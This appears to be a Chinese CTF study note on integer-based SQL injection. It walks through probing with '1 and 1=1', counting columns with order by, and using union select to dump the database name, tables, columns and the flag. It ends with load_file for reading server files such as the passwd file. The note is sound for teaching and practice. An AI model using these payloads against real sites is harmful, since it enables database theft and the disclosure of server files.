技能树-Web题-SQL注入-整数型注入
SQL注入
数据库知识点
column_name:列的名称
Information_schema.columns:表示所有的列的信息
Information_schema:表示所有信息,包括库、表、列
Information_schema.tables:表示所有的表的信息
table_schema:数据库的名称
table_name:表的名称
整数型注入
判断是否存在注入
输入1 and 1=1 有回显
1 and 1=2 无回显
由此判断存在注入点
判断字段数
1 order by 3 无回显
1 order by 2 有回显
由此判断存在两个字段
判断回显字段
-1 union select 1,2
1,2又有数值,说明两字段都有回显
爆库名
常用函数
user()
database()
session_usr()
@@version
@@basedir
@@datadir
@@version_compile_os
-1 union select user(),database()
爆表名
利用 group_concat() 函数进行查询连接所有的表名
-1 union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()
爆列名
-1 union select user(),group_concat(column_name) from information_schema.columns where table_name='flag'
爆数据
-1 union select 1,flag from flag
还可以读取到 /etc/passwd 文件
load_file( )函数 读文件操作
前提
- 知道文件绝对路径
- 能够使用union查询
- 对web目录有写权限
-1 union select 1,load_file('/etc/password')